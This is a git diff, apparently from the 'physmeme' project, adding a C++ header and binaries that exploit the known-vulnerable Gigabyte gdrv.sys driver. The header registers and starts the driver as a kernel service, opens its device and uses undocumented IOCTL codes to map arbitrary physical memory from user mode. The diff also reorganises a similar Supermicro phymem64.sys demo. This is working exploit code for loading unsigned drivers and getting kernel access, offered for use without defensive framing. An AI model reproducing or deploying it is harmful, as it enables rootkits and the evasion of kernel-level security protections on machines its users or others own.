diff --git a/demo/gdrv/driver/gdrv.sys b/demo/gdrv/driver/gdrv.sys
new file mode 100644
index 0000000..2d28866
Binary files /dev/null and b/demo/gdrv/driver/gdrv.sys differ
diff --git a/demo/hello-world.sys b/demo/gdrv/hello-world.sys
similarity index 100%
rename from demo/hello-world.sys
rename to demo/gdrv/hello-world.sys
diff --git a/demo/gdrv/physmeme.exe b/demo/gdrv/physmeme.exe
new file mode 100644
index 0000000..bd9809d
Binary files /dev/null and b/demo/gdrv/physmeme.exe differ
diff --git a/demo/gdrv/physmeme.hpp b/demo/gdrv/physmeme.hpp
new file mode 100644
index 0000000..5fbad1d
--- /dev/null
+++ b/demo/gdrv/physmeme.hpp
@@ -0,0 +1,161 @@
+#pragma once
+#include <windows.h>
+#include <mutex>
+#include <cstdint>
+#include <filesystem>
+#include <iostream>
+#include <map>
+
+#pragma pack ( push, 1 )
+typedef struct _GIOMAP
+{
+	unsigned long	interface_type;
+	unsigned long	bus;
+	uintptr_t		physical_address;
+	unsigned long	io_space;
+	unsigned long	size;
+} GIOMAP;
+#pragma pack ( pop )
+
+static const char* driver_name = "gdrv";
+static const char* driver_path = (std::filesystem::current_path().string() + "\\driver\\gdrv.sys").c_str();
+
+namespace physmeme
+{
+	//--- ranges of physical memory
+	static std::map<std::uintptr_t, std::size_t> pmem_ranges;
+
+	//--- validates the address
+	static bool is_valid(std::uintptr_t addr)
+	{
+		for (auto range : pmem_ranges)
+			if (addr >= range.first && addr <= range.first + range.second)
+				return true;
+		return false;
+	}
+
+	// Author: Remy Lebeau
+	// taken from here: https://stackoverflow.com/questions/48485364/read-reg-resource-list-memory-values-incorrect-value
+	static const auto init_ranges = ([&]() -> bool
+	{
+			HKEY h_key;
+			DWORD type, size;
+			LPBYTE data;
+			RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
+			RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
+			data = new BYTE[size];
+			RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
+			DWORD count = *(DWORD*)(data + 16);
+			auto pmi = data + 24;
+			for (int dwIndex = 0; dwIndex < count; dwIndex++)
+			{
+				pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
+				pmi += 20;
+			}
+			delete[] data;
+			RegCloseKey(h_key);
+			return true;
+	})();
+
+	/*
+	please code this function depending on your method of physical read/write.
+*/
+	static HANDLE load_drv()
+	{
+		const SC_HANDLE manager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
+
+		if (!manager)
+			return false;
+
+		SC_HANDLE service_handle = CreateService(manager,
+			driver_name,
+			driver_name,
+			SERVICE_START | SERVICE_STOP | DELETE, SERVICE_KERNEL_DRIVER,
+			SERVICE_DEMAND_START,
+			SERVICE_ERROR_IGNORE,
+			driver_path, nullptr, nullptr, nullptr, nullptr, nullptr);
+
+		if (!service_handle)
+			service_handle = OpenService(manager, driver_name, SERVICE_START);
+
+		if (!service_handle)
+		{
+			CloseServiceHandle(manager);
+			return false;
+		}
+
+		bool result = StartService(service_handle, 0, nullptr);
+
+		if (!result)
+			printf("[-] failed to start service, last_error=%d\n", GetLastError());
+
+		CloseServiceHandle(service_handle);
+		CloseServiceHandle(manager);
+
+		auto handle = CreateFile("\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
+		std::cout << "[+] service started, handle: " << handle << std::endl;
+		return handle;
+	}
+
+	inline HANDLE drv_handle = load_drv();
+
+	/*
+		please code this function depending on your method of physical read/write.
+	*/
+	static bool unload_drv()
+	{
+		const SC_HANDLE manager = OpenSCManager(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE);
+
+		if (!manager)
+			return false;
+
+		const SC_HANDLE service_handle = OpenService(manager, driver_name, SERVICE_STOP | DELETE);
+		if (!service_handle)
+		{
+			CloseServiceHandle(manager);
+			return false;
+		}
+
+		SERVICE_STATUS status = { 0 };
+		bool result = ControlService(service_handle, SERVICE_CONTROL_STOP, &status);
+
+		DeleteService(service_handle);
+		CloseServiceHandle(service_handle);
+		CloseServiceHandle(manager);
+		return result;
+	}
+
+	/*
+		please code this function depending on your method of physical read/write.
+	*/
+	static std::uintptr_t map_phys(
+		std::uintptr_t addr,
+		std::size_t size
+	)
+	{
+		GIOMAP in_buffer = { 0, 0, addr, 0, size };
+		uintptr_t out_buffer[2] = { 0 };
+		unsigned long returned = 0;
+		DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
+			reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
+		return out_buffer[0];
+	}
+
+	/*
+		please code this function depending on your method of physical read/write.
+	*/
+	static bool unmap_phys(
+		std::uintptr_t addr,
+		std::size_t size
+	)
+	{
+		uintptr_t in_buffer = addr;
+		uintptr_t out_buffer[2] = { 0 };
+
+		unsigned long returned = 0;
+		DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
+			reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
+
+		return out_buffer[0];
+	}
+}
\ No newline at end of file
diff --git a/demo/README.md b/demo/supermicro/README.md
similarity index 100%
rename from demo/README.md
rename to demo/supermicro/README.md
diff --git a/demo/supermicro/hello-world.sys b/demo/supermicro/hello-world.sys
new file mode 100644
index 0000000..7f2301f
Binary files /dev/null and b/demo/supermicro/hello-world.sys differ
diff --git a/demo/phymem64.sys b/demo/supermicro/phymem64.sys
similarity index 100%
rename from demo/phymem64.sys
rename to demo/supermicro/phymem64.sys
diff --git a/demo/physmeme.exe b/demo/supermicro/physmeme.exe
similarity index 100%
rename from demo/physmeme.exe
rename to demo/supermicro/physmeme.exe
diff --git a/demo/pmdll64.dll b/demo/supermicro/pmdll64.dll
similarity index 100%
rename from demo/pmdll64.dll
rename to demo/supermicro/pmdll64.dll